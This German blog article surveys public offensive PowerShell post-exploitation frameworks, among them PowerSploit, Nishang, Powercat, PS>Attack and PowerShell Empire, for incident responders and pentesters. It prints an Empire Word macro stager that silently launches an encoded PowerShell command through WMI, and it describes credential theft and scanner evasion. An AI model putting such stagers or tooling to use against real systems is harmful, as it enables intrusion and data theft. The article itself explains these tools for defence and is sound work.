von Frank Ully

Dies ist der dritte Teil einer mehrteiligen Reihe über Windows PowerShell und darüber, wie Angreifer es missbrauchen, wie Incident Responder und Forensiker diese Angriffe erkennen können – und welche Verteidigungslinien IT-Sicherheitsverantwortliche ziehen können.

Dieser Artikel stellt öffentlich verfügbare Skriptsammlungen mit offensiven PowerShell-Skripten für Post Exploitation vor.

Der erste Artikel der Reihe beschrieb die Phasen echter Angriffe und stellte das Konzept der Post Exploitation vor; anschließend folgte eine Einführung in die technischen Grundlagen von Windows PowerShell.

Der zweite Artikel der Reihe beleuchtete, welche Eigenschaften PowerShell als Angriffswerkzeug so beliebt machen, und erläuterte die Eignung für und den Einsatz von PowerShell in echter Schadsoftware und durch Angreifergruppen.

 

PowerSploit

PowerSploit wurde 2012 von Matt Graeber veröffentlicht; es war das erste für Windows PowerShell geschriebene Post-Exploitation-Framework, das öffentlich verfügbar war.

Als erstes Skript erschien Invoke-Shellcode, das die offensiven Möglichkeiten, die PowerShell und das darunter liegende .NET-Framework bieten, eindrucksvoll demonstrierte: Das Skript ermöglicht es, vom Angreifer erzeugten Schadcode in den Speicherbereich eines anderen Prozesses zu injizieren und dort auszuführen [1, S. 17].

Im Lauf des Jahres 2013 wurde eine Reihe von Techniken entwickelt, mit denen direkt über den Arbeitsspeicher – ohne dass Dateien auf der Festplatte abgelegt werden – auch kompilierte Programmbibliotheken (DLL-Dateien) in andere Prozesse injiziert werden können. Dadurch entstand die Möglichkeit, direkt aus PowerShell heraus das bekannte Werkzeug Mimikatz einzusetzen, das Zugangsdaten wie Passwörter und Hashwerte direkt aus dem Arbeitsspeicher ausliest [2, S. 4].

Über die Jahre 2013 und 2014 entwickelten Graeber und weitere Mitarbeiter PowerSploit zu einem robusten Framework mit Skripten für die Post Exploitation, darunter etwa ein Portscanner und ein Werkzeug zum Erstellen von Screenshots [3, S. 9].

Als neue Komponente kam Ende 2014 PowerView als Werkzeug zur Netzwerk-Lageerfassung [4, S. 13] hinzu, das es ermöglicht, viele Schritte bei Angriffen auf große Domäneninfrastrukturen zu automatisieren, um schnell einen Überblick über das infiltrierte Netzwerk zu gewinnen. PowerView ermöglicht etwa, im Netzwerk Benutzer mit domänenweiten Administratorrechten oder Servicezugänge mit hohen Privilegien zu finden und auf einzelnen Rechnern lokale Administratorzugänge aufzuspüren [5, S. 25]. Ist ein gesuchter Benutzer gefunden, kann PowerView alle Netzwerkfreigaben anzeigen, auf die dieser Benutzer Zugriff hat. Zudem kann in großen Netzwerken, die aus mehreren miteinander verbundenen Domänen bestehen, ein Angriff über das Finden und Ausnutzen von Domain-Vertrauensverhältnissen von einem Teilnetz auf weitere ausgeweitet werden: Hat der Angreifer die Rechte eines Domänenadministrators in einer Domäne erlangt, kann er bei bestimmten Vertrauensverhältnissen das gesamte Netzwerk aus Domänen – den so genannten Forest – kompromittieren [6, S. 38].

Abbildung 1: PowerSploit-Modul zum Auslesen von Tastatureingaben (Quelle: http://slideplayer.com/slide/10469194/)

PowerPreter und Nishang

Der Sicherheitsforscher Nikhil Mittal stellte auf der Sicherheitskonferenz DerbyCon 2013 PowerPreter als Werkzeug zur umfassenden Fernsteuerung von fremden Rechnern vor, das er später zum Framework Nishang weiterentwickelte [2, S. 4].

Nishang kann initial von einer bestehenden PowerShell-Sitzung, über den Metasploit-Payload Meterpreter oder als Download einer infizierten Datei (in unterschiedlichen Formaten) gestartet werden.

Abbildung 2: Übersicht über Nishang-PowerShell-Befehle

Powercat

Powercat wurde im September 2014 auf der Konferenz DerbyCon von Mick Douglas vorgestellt [7]. Es implementiert die Funktionen von Netcat in reinem PowerShell, ohne dass besondere Systemvoraussetzungen bestehen – außer dem Vorhandensein von PowerShell in mindestens Version 2.0. Netcat ist ein einfaches, bei Administratoren und Angreifern gleichermaßen beliebtes Dienstprogramm, das Daten von der Standardeingabe und Standardausgabe über Netzwerkverbindungen überträgt. Der Funktionsumfang neuerer Versionen von Powercat übersteigt inzwischen den von Netcat [8, S. 2].

Die reine Implementierung in PowerShell verhindert die Erkennung durch Malwarescanner und Host-basierte Einbruchserkennungssysteme, die Netcat-Varianten in Binärform in der Regel zuverlässig aufspüren. Die dadurch mögliche Netcat-Funktionalität – gleichermaßen als Server wie als Client unterschiedliche Systeme miteinander zu verbinden – hilft echten Angreifern und Pentestern im Zielnetzwerk beim Überwinden einer weiteren technischen Sicherheitsmaßnahme, der Segmentierung eines Unternehmensnetzwerks in stärker und schwächer geschützte Bereiche.

Abbildung 3: Übersicht über Powercat-PowerShell-Befehle

Veil PowerTools

Das Veil-Framework wurde Anfang 2014 von amerikanischen Sicherheitsforschern um Chris Truncer, Will Schroeder und Mike Wright entwickelt und als Open Source veröffentlicht, um Penetrationstestern zu helfen, ihre Werkzeuge mit wenig Aufwand automatisiert vor Malwarescannern zu verschleiern und auf den Rechnern ihrer Opfer aufzubringen („veil“ bedeutet im Englischen Schleier) [4, S. 6].

Bekannt ist der Framework-Bestandteil Veil Evasion, der Payloads des Metasploit-Frameworks nutzt und sie durch verschiedene Techniken und Neukompilierung in unterschiedlichen Programmiersprachen so verändert, dass signatur- und sogar verhaltensbasierte Malwarescanner sie nicht mehr erkennen [9, S. 271-272].

Alle bestehenden offensiven PowerShell-Skripte des Veil-Frameworks wurden im Unterprojekt PowerTools zusammengefasst. Inzwischen wurden die Module von PowerTools in PowerSploit übernommen.

PowerTools besteht im Wesentlichen aus drei Modulen: PowerBreach, PowerUp und PowerView.

PowerBreach implementiert mehrere schwierig aufzuspürende Hintertüren (Backdoors) in PowerShell für die Persistenz-Phase eines Angriffs. Ein fortgeschrittener Auslösemechanismus etwa ermöglicht einem Angreifer bleibenden Systemzugang, wenn ein von ihm angelegtes Benutzerkonto von einem aufmerksamen Administrator gelöscht wurde.

PowerUp dient zur Gewinnung höher Privilegien auf einem lokalen Rechner, beispielsweise um von normalen eingeschränkten Benutzerrechten zu Systemrechten auf dem Rechner zu wechseln. Dazu nutzt es unterschiedliche bekannte Design- und Implementierungsschwächen von Windows-Programmen und prüft diese vollautomatisiert.

PowerView ist identisch mit dem gleichnamigen Modul in PowerSploit; die Funktionalität stammt vom selben Entwickler.

Abbildung 4: PowerView/PowerSploit-Befehl zum Auslesen von Passwörtern (Quelle: https://adsecurity.org/?p=2921)

PowerMemory

PowerMemory wurde im Juli 2015 von Pierre-Alexandre Braeken veröffentlicht und ermöglicht den Diebstahl von Zugangsdaten aus dem Arbeitsspeicher. Dazu muss es im Gegensatz zu ähnlichen Ansätzen keinen bösartigen Code in andere Prozesse injizieren, in denen diese Zugangsdaten verwaltet werden. Stattdessen erstellt es ein Abbild des kompletten Arbeitsspeichers, sucht Speicherbereiche mit den verschlüsselten Zugangsdaten, entschlüsselt sie und übertragt die gefundenen Passwörter und Hashes an den Angreifer [10].

Abbildung 5: Protokoll von PowerMemory mit ausgelesenen Zugangsdaten (Quelle: https://securityaffairs.co/wordpress/39721/hacking/powermemory-extract-credentials.html)

PowerMemory zeichnet sich dadurch aus, dass es zwar auf Binärdateien zurückgreift, jedoch nur von Microsoft selbst erstellte und digital signierte Programme startet. Dadurch bleibt es von Malwarescannern und ähnlichen Sicherheitslösungen unentdeckt [11, S. 14].

PowerShell Memory Scraping for Credit Cards

Beachtenswert für echte Angreifer wie für Pentester, die die Ziele eines profitorientierten Angreifers möglichst realitätsnah simulieren wollen, ist das PowerShell-Skript Memory Scraping von Casey Cammilleri aus dem September 2015.

Das Skript sucht im Arbeitsspeicher eines angegebenen Prozesses nach Kreditkartennummern und kann diese etwa auslesen, wenn in einem Browser ein Bestellformular mit Zahlungsdaten ausgefüllt wurde. Anschließend übertragt es die gefundenen Kreditkartendaten an einen Webserver, der vom Angreifer kontrolliert wird [12]. Das kompakte Skript übernimmt Codeteile von PowerSploit.

Abbildung 6: Auslesen von Kreditkartendaten mit PowerShell Memory Scraper (Quelle: https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper)

Das Metasploit-Framework des amerikanischen Herstellers Rapid7 ist das Standard-Test- und Angriffswerkzeug von professionellen Penetrationstestern. Von Pentestern oder Administratoren im eigenen Netzwerk eingesetzt, kann Metasploit Schwachstellen finden und insbesondere ausnutzen [13, S. 60]. Auch echte, böswillige Angreifer setzen es für ihre Zwecke ein [14].

Module sind wichtige Bestandteile des Metasploit-Frameworks, dessen Architektur in Abbildung 3 gezeigt wird. Exploits ist das bekannteste Modul; es enthält eine Vielzahl an hochwertigen und übersichtlichen kategorisierten Schadprogrammen, die konkrete Schwachstellen in Betriebssystemen und Anwendungen ausnutzen.

Schließlich kann sich ein Angreifer zwischen zahlreichen Payloads – also der Nutzlast – seiner Schadsoftware entscheiden; darunter der Standard-Payload Meterpreter. Meterpreter kann einen angegriffenen Rechner umfangreich überwachen und steuern, etwa Screenshots anfertigen, eine eingebaute Webcam aktivieren oder Dateien vom Rechner des Opfers zum Angreifer übertragen.

Abbildung 7: Architektur des Metasploit-Frameworks

Noch bis Ende 2015 konnte PowerShell innerhalb des Metasploit-Frameworks, beispielsweise in einer Meterpreter-Sitzung auf einem erfolgreich übernommenen Rechner, nur eingeschränkt genutzt werden. Zwar waren auf der Kommandozeile Eingaben möglich, die Antworten wurden jedoch nicht angezeigt – interaktive Sitzungen waren so nicht möglich [15, S. 12].

Die Sicherheitsforscher Ben Turner und Dave Hardy haben Ende 2015 mehrere Module, Payloads sowie weitere Komponenten für das Metasploit-Framework entwickelt und veröffentlicht. Dadurch kann auf einem bereits mit Metasploit und dem Meterpreter-Payload gesteuerten Rechner eine interaktive PowerShell-Sitzung so gestartet werden, als säße der Angreifer vor dem Rechner und der PowerShell-Eingabeaufforderung.

Auch in dieser Implementierung haben die Autoren darauf geachtet, keine Binärdateien auf Festplatte abzulegen, alle Skripte nur im Arbeitsspeicher auszuführen und damit ein Erkennen oder Blockieren durch Malwarescanner zu vermeiden.

PS>Attack

PS>Attack von Jared Haight wurde im März 2016 auf der Konferenz CarolinaCon vorgestellt [16, S. 1-2].
Im Gegensatz zu den bislang aufgezählten Skriptsammlungen ist PS>Attack eine kompilierte Binärdatei, die ein Angreifer auf einem übernommenen Rechner aufbringen kann. Mit dieser Binärdatei können PowerShell-Skripte selbst dann aufgerufen und interpretiert werden, wenn die Ausführung der Standard-Konsole powershell.exe gesperrt wurde. Denn PS>Attack bindet eine tiefer liegende Komponente des Betriebssystems zur PowerShell-Interpretation ein und funktioniert so unmittelbar von einer frischen Windows-7-Installation bis zu einem aktuell gepatchten Windows 10.

Mit dem PowerShell-Kommando Get-Attack können die verfügbaren Skripte innerhalb der PS>Attack-Konsole angezeigt werden.

Abbildung 8: Übersicht über in PS>Attack integrierte Module (Quelle: https://adsecurity.org/?p=2921)

In die Binärdatei von PS>Attack einkompiliert ausgeliefert werden über Hundert bekannte offensive PowerShell-Skripte, darunter ausgewählte Befehle aus PowerSploit, Nishang und Powercat.

Damit das Post-Exploitation-Werkzeug von Malwarescannern und von Incident Respondern trotz der ausführbaren Datei, die auf den angegriffenen Rechner aufgebracht wird, dennoch nicht einfach erkannt werden kann, nutzt es einige Techniken zur Verschleierung: So sind etwa Skripte innerhalb der Binärdatei von PS>Attack verschlüsselt gespeichert und werden erst beim Starten der Konsole in den Arbeitsspeicher entschlüsselt; dadurch landen die Angriffsskripte niemals im Klartext auf der Festplatte [16, S. 15].

p0wnedShell

p0wnedShell ist eine erstmals 2016 veröffentlichte kompilierte Binärdatei von Cornelis de Plaa, die wie PS>Attack neben einem PowerShell-Interpreter eine Vielzahl an offensiven PowerShell-Skripten enthält [1, S. 67].

Der durch die integrierten PowerShell-Skripte bereitgestellte Funktionsumfang ist fast identisch mit dem von PS>Attack [17].

Als zusätzliche Funktion bringt die Binärdatei von p0wnedShell verschlüsselte Binärdateien für Exploits mit, die nur im Arbeitsspeicher entpackt und ausführt werden und dem Angreifer auf anfälligen Zielrechnern etwa das Erlangen von Systemrechten ermöglichen, ausgehend von einem normalen, wenig privilegierten Benutzerkonto.

Abbildung 9: p0wnedShell Text-Benutzeroberfläche (Quelle: https://github.com/Cn33liz/p0wnedShell)

PowerShell Empire

Entwicklungsgeschichte

Im August 2015 wurde mit PowerShell Empire von Will Schroeder und Justin Warner auf der IT-Sicherheitskonferenz BSides in Las Vegas ein Framework veröffentlicht, das Skripte für offensives PowerShell unter einer einfachen Bedienphilosophie zusammenführt. Der Bedarf an einem einheitlichen Framework entstand aus der zuvor stark gestiegenen Anzahl von alleinstehenden PowerShell-Projekten (wie den bisher genannten) mit unterschiedlichen Bedienkonzepten, die im Alltag in Penetrationstests nur wenig effektiv einzusetzen waren. Zudem fehlt vielen Penetrationstestern PowerShell-spezifische Expertise [18, S. 14].

Empire ist ein voll funktionsfähiger, in PowerShell geschriebener Post-Exploitation-Agent, der als Plattform bestehende offensive PowerShell-Skripte integriert [6, S. 42]. Die Steuerungsseite ist an das De-facto-Standard-Angriffsframework Metasploit angelehnt.

Ein Ziel der Empire-Entwickler war, die Verteidiger von Organisationen darauf zu trainieren, dass sie Angriffe mit PowerShell erkennen, stoppen und untersuchen können – denn dieser Bedrohung durch fortgeschrittene Angreifer waren sie seit dem Erscheinen von PowerShell unwissentlich ausgesetzt.
Dabei waren sich die Entwickler des Zwiespaltes bewusst, einerseits Open-Source-Software für die Simulation dieser Angriffe durch Pentester und das Training von Incident-Respondern zu schreiben, andererseits die technologische Entwicklung voranzutreiben und Angreifern ein weit fortgeschrittenes Werkzeug zur Verfügung zu stellen [18, S. 9].

In der ersten veröffentlichten Version waren 90 Module enthalten, die vor allem Skripte aus bisherigen Skriptsammlungen einbanden, darunter insbesondere PowerSploit sowie Veil PowerTools von denselben Autoren.

Ein Jahr nach der Erstveröffentlichung hatte sich die Zahl der Module verdoppelt und neue Funktionen, insbesondere zur Rechteerweiterung, waren ergänzt worden.

Auf der Sicherheitskonferenz DerbyCon 2016 am 23. September 2016 stellte der Hauptentwickler Will Schroeder Version 2.0 von Empire vor [19, S. 21-49].

Die neue Version vereint die Codebasis von PowerShell Empire und dem Mitte 2016 gestarteten Schwesterprojekt Python EmPyre – einem Post-Exploitation-Framework auf Basis der Skriptsprache Python. Dadurch führt Empire 2.0 die Steuerung von PowerShell- und Python-Agenten auf Seiten des Angreifers in einer Bedienoberfläche zusammen. Zudem beseitigt die neue Version fehlerhaften und ungenutzten Quellcode und ermöglicht die Anbindung weiterer Transportmechanismen neben HTTP und HTTPS.

Ebenfalls ergänzt die Version 2.0 eine Vielzahl an neuen Modulen, etwa zum Auffinden von angreifbaren Benutzern, Funktionen zum Erhöhen der Benutzerprivilegien und zum Umgehen von Sicherheitsnachfragen. Sie erschien im Mai 2017.

Architektur

PowerShell Empire ist als klassische Anwendung mit einer Client-Server-Architektur konzipiert: Die Server- und Steuerungskomponente, die auf dem Rechner des Angreifers ausgeführt wird, ist in der Skriptsprache Python programmiert; die Clients, die auf den Rechnern der Opfer laufen, sind in PowerShell geschrieben [18, S. 23].

Die Serveranwendung auf dem Rechner des Angreifers ist mit einer Datenbank verbunden, die auch über Neustarts des Programms den Anwendungsstatus speichert und ein ausführliches Ereignisprotokoll anlegt.

Darüber hinaus besteht PowerShell aus drei Komponenten: Listenern auf Seiten des Servers / Angreifers sowie Stagern und Agenten auf Seiten der Clients / der Opfer [20, S. 121].

Abbildung 10: Verbindungsaufbau von PowerShell Empire

Listener lauschen serverseitig auf eingehende Verbindungen von Opfern, empfangen und verarbeiten die ankommenden Daten und steuern die Aktionen auf den Rechnern der Angegriffenen. Sie werden als erste Komponente gestartet.

Standardmäßig verwendet Empire eine umgekehrte Verbindung (reverse connection), was bedeutet, dass der Stager auf dem Rechner des Opfers die Verbindung initiiert. Die umgekehrte Verbindung verwendet standardmäßig das Webprotokoll HTTP, um den Datenverkehr zu kapseln. Dies liegt daran, dass Empire großen Wert darauf legt, dass der erzeugte Datenverkehr normalem Datenverkehr ähnelt; HTTP-Verbindungen sehen eher wie normales Web-Surfen aus und sind weniger verdächtig als direkte TCP-Verbindungen. Es können aber auch andere Verbindungsarten gewählt werden, zum Beispiel kann der Dateitauschdienst Dropbox als Kommando- und Kontrollstruktur verwendet werden [21].

Folgende Abbildung zeigt einen Screenshot des Verkehrs des Empire-Agenten. Jede HTTP-Anfrage greift auf verschiedene Verzeichnisse und Dateien zu, um dem normalen Web-Surfen ähnlich zu werden. Empire fälscht auch die User-Agent-Kopfzeilen des Agenten und die Server-Header des Listeners vor, um den Verkehr gutartig erscheinen zu lassen.

Abbildung 11: Netzwerkmitschnitt von Empire-Datenverkehr in Wireshark (Quelle: https://artofpwn.com/offensive-and-defensive-powershell-ii.html)

Empire verschlüsselt seinen Datenverkehr auch dann, wenn das unverschlüsselte HTTP als Übertragungsprotokoll ausgewählt wurde – und verwendet das Schlüsselaustauschprotokoll Encrypted Key Exchange (EKE), basierend auf den RSA- und AES-Verschlüsselungsstandards [22].

Stager sind dafür zuständig, auf einem gekaperten Rechner initial einen Agent zu starten; sie sind in unterschiedlichen Formaten gekapselte PowerShell-Skripte, die auf dem Rechner des Opfers ausgeführt werden. So gibt es etwa zahlreiche Varianten; von Stagern in Form von Skriptdateien BAT und VBS, die der Angreifer einem Opfer senden kann, über Office-Dokumente mit bösartigen Makros bis hin zu kompilierten DLL-Dateien, die in andere Angriffswerkzeuge wie das Metasploit-Framework eingebunden werden können [18, S. 24].

Die Staging-Phase ist die für den Angreifer kritischste, weil bestimmte Teile der Anwendungslogik unverschlüsselt sein müssen, ein startender Stager häufig auffälligen Netzwerkverkehr verursacht und gegebenenfalls netzwerkseitige Sicherheitsmaßnahmen wie einen Zwangsproxy überwinden muss.

Abbildung 12: Bösartiges Word-Dokument mit der Nachfrage nach Makro-Aktivierung (Quelle: https://msdnshared.blob.core.windows.net/media/2017/10/Defending-Against-PowerShell-Attacks.pptx, S .3)

Als Beispiel wird im Folgenden ein Makro-Stager genauer beleuchtet: Der Makro-Stager wird zu Word-Dokumenten hinzugefügt. Um Anwender dazu zu verleiten, Makros zu aktivieren, die in neueren Office-Versionen standardmäßig deaktiviert sind, verwenden Angreifer Social-Engineering-Taktiken [23, S. 5-19].

Sub AutoOpen()
    Debugging
End Sub

Sub Document_Open()
    Debugging
End Sub

Public Function Debugging() As Variant
    Dim Str As String
    str = "powershell -noP -sta -w 1 -enc WwBSAEUAZgBdAC4AQQ"
    str = str + "BzAFMARQBtAGIAbAB5AC4ARwBFAHQAVAB5AHAARQAoACcAUwB5" [...]
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create str, Null, objConfig, intProcessID
End Function

Sofort nachdem ein Benutzer das Starten von Makros erlaubt hat, führen die Autostart-Makros AutoOpen und Document_Open die Debugging genannte Funktion aus [24, S. 3]. Diese Funktion verwendet zuvor beschriebene Techniken zur Obfuskation: PowerShell wird mit Parametern aufgerufen, und der eigentliche Befehl wird mit Base64 („WwBSAEUAZgBd….“) kodiert. Schließlich wird powershell.exe über WMI als verstecktes Fenster aufgerufen [21].

Der eigentliche Client auf dem Rechner des Opfers, der Agent, hat die Aufgabe, eine Verbindung zu einem Listener auf dem System des Angreifers herzustellen. Der Agent ist dabei so klein wie möglich gehalten und liefert nur die unbedingt notwendige Funktionalität; weitere Funktionen können als abgekapselte Module einfach nachgeladen werden. Agenten nutzten eine Technik namens „Unmanagaged PowerShell“, die 2014 vom Sicherheitsforscher Lee Christensen entwickelt wurde [25]: mit ihr können PowerShell-Skripte ohne den Start des Standard-Interpreters powershell.exe ausgeführt werden [3, S. 32].

Funktionen

PowerShell Empire unterstützt sämtliche Aktivitäten der Post Exploitation: Aufklärung, Steuerung, Persistenz, Datendiebstahl, Rechteerweiterung, Ausbreitung, Spurenbeseitigung, Systemstörung und Datenausschaffung [6, S. 46].

Der Pentester Frank Neugebauer wendet in einer Tutorial-Serie zu PowerShell Empire ein, dass es leicht zu bedienen sei, jedoch grundlegende Kenntnisse von Windows-Netzwerken voraussetze [26, S. 134]. Dies gilt jedoch in noch größerem Maße für einzelne Skripte und Skriptsammlungen, die zuvor vorgestellt wurden.

Besonders zeichnet sich Empire durch eine in der Benutzeroberfläche integrierte Online-Hilfe und eine umfangreiche Dokumentation auf der Website des Frameworks aus [27].

Dem Fazit von Neugebauer zu Empire ist zuzustimmen: „Der logische und modulare Aufbau ermöglicht einen flexiblen Einsatz nach kurzer Einarbeitungszeit“ [26, S. 134]. Einige fortgeschrittene Pentester sind bereits dazu übergegangen, Empire neben dem De-facto-Angriffsframework Metasploit in jeden ihrer Penetration Tests von Windows-Umgebungen einzubauen [28, S. 5].

Der Erfinder und Chefarchitekt von PowerShell, der Microsoft Technical Fellow (die höchste Stufe in Microsofts Karrierepfad für Techniker) Jeffrey Snover, stellte fest: „Empire shatters the ignorance which fuels the hope that we have secured our enterprises“ [29].

PowerShell Empire und andere Frameworks der Pentester-Gemeinschaft haben dazu beigetragen, dass Microsoft den sicheren Einsatz von PowerShell als wichtiges Ziel sieht und mit jeder Version von PowerShell neue Sicherheitsfunktionen nachrüstet.

Abbildung 13: PowerShell Empire auf dem Rechner des Angreifers

 
Der nächste Artikel dieser Reihe führt in die Arbeitsspeicher-Forensik ein, die eine relativ neue Untersuchungsmethode für Incident Responder und Forensiker gegen moderne Bedrohungen wie PowerShell-Angriffe ist.

Über den Autor

Frank Ully studierte Technische Redaktion an der Hochschule Karlsruhe – Technik und Wirtschaft und schloss das Studium als Diplom-Technikredakteur ab (inzwischen: Master Kommunikation und Medienmanagement). Noch während seines Studiums baute er die Abteilung Unternehmenskommunikation und Dokumentation eines Berliner Softwareherstellers auf und leitete sie einige Jahre. Später betreute Frank Ully dort interne Anwendersysteme und war für die IT-Sicherheit verantwortlich. Berufsbegleitend schloss er den Masterstudiengang Security Management mit Spezialisierung auf IT-Sicherheit an der Technischen Hochschule Brandenburg ab und zertifizierte sich zum Offensive Security Certified Expert (OSCE) sowie Offensive Security Certified Professional (OSCP). Frank Ully verfügt zudem über die Zertifikate GIAC Reverse Engineering Malware (GREM) sowie Linux Professional Institute Certification Level 3 (LPIC-3) und ist zertifizierter OSSTMM Professional Security Tester (OPST). Zum Ende seines Masterstudiums begann er im November 2017 seine Arbeit als Penetration Tester und Security Consultant bei Oneconsult Deutschland. Seit April 2018 ist Frank Ully Senior Penetration Tester & Security Consultant.

Über Oneconsult

Die Oneconsult-Unternehmensgruppe ist seit 2003 Ihr renommierter Schweizer Cyber Security Services Partner mit Büros in der Schweiz und Deutschland und 1500+ weltweit durchgeführten Security-Projekten.

Erhalten Sie kompetente Beratung vom inhabergeführten und herstellerunabhängigen Cyber Security-Spezialisten mit 35+ hochqualifizierten Cyber Security Experten, darunter zertifizierte Penetration Tester (OPST, OPSA, OSCP, OSCE, GXPN), IT-Forensiker (GCFA, GCFE, GREM), ISO Security Auditoren (ISO 27001 Lead Auditor, ISO 27005 Risk Manager) und dedizierte IT Security Researcher, um auch Ihre anspruchsvollsten Herausforderungen im Informationssicherheitsbereich zu bewältigen. Gemeinsam gehen wir Ihre externen und internen Bedrohungen wie Malware-Infektionen, Hacker-Attacken und APT sowie digitalen Betrug und Datenverlust mit Kerndienstleistungen wie Penetration Tests / Ethical Hacking, APT Tests unter Realbedingungen und ISO 27001 Security Audits an. Bei Notfällen können Sie rund um die Uhr (24 h x 365 Tage) auf die Unterstützung des Incident Response & IT Forensics Expertenteams von Oneconsult zählen.

www.oneconsult.com


[1]: https://adsecurity.org/wp-content/uploads/2016/05/BSidesCharm-2016-PowerShellSecurity-Defending-the-Enterprise-from-the-Latest-Attack-Platform-FINAL.pdf
[2]: https://www.blackhat.com/docs/us-14/materials/us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf
[3]: http://www.fastandeasyhacking.com/download/sans_cylonraider.pdf
[4]: https://www.slideshare.net/harmj0y/drilling-deeper-with-veils-powertools
[5]: https://www.slideshare.net/harmj0y/i-have-the-powerview
[6]: https://www.slideshare.net/harmj0y/bridging-the-gap-54068050
[7]: https://www.youtube.com/watch?v=xoi9o_mOcvg
[8]: https://www.sans.org/reading-room/whitepapers/testing/powercat-35807
[9]: G. Weidman, Penetration Testing: A Hands-On Introduction to Hacking, San Francisco: No Starch Press, 2014.
[10]: http://sysadminconcombre.blogspot.de/2015/07/how-to-hack-windows-password.html
[11]: https://www.slideshare.net/RusselVanTuyl/powershell-for-cyber-warriors-bsides-knoxville-2016
[12]: https://www.shellntel.com/blog/2015/9/16/powershell-cc-memory-scraper
[13]: M. Messner, Hacking mit Metasploit: Das umfassende Handbuch zu Penetration Testing und Metasploit, 2. Auflage, Heidelberg: dpunkt, 2015.
[14]: https://attack.mitre.org/wiki/Technique/T1086
[15]: http://www.docslides.com/lois-ondreau/powershell-fu-with-metasploit
[16]: https://www.slideshare.net/jaredhaight/introducing-psattack-an-offensive-powershell-toolkit
[17]: https://github.com/Cn33liz/p0wnedShell
[18]: https://www.slideshare.net/harmj0y/building-an-empire-with-powershell
[19]: https://www.slideshare.net/harmj0y/a-year-in-the-empire
[20]: F. Neugebauer, „Das Post-Exploitation-Framework Empire, Teil 1: Installieren und Einrichten,“ iX – Magazin für professionelle Informationstechnik, Nr. 5/2016, S. 120-124, 2016.
[21]: https://artofpwn.com/offensive-and-defensive-powershell-ii.html
[22]: https://www.powershellempire.com/?page_id=147
[23]: W. Allsopp, Advanced Penetration Testing: Hacking the World’s Most Secure Networks, Indianapolis: Wiley, 2017.
[24]: https://msdnshared.blob.core.windows.net/media/2017/10/Defending-Against-PowerShell-Attacks.pptx
[25]: https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
[26]: F. Neugebauer, „Das Post-Exploitation-Framework Empire, Teil 3: Prozesse und Windows-Domänen übernehmen,“ iX – Magazin für professionelle Informationstechnik, Nr. 7/2016, S. 130-134, 2016.
[27]: https://www.powershellempire.com/?page_id=83
[28]: http://dansolutions.com/wp-content/uploads/2015/10/DerbyCon-2015-Metcalf-RedvsBlue-ADAttackAndDefense-Presented-Final.pdf
[29]: https://twitter.com/jsnover/status/728262246971777025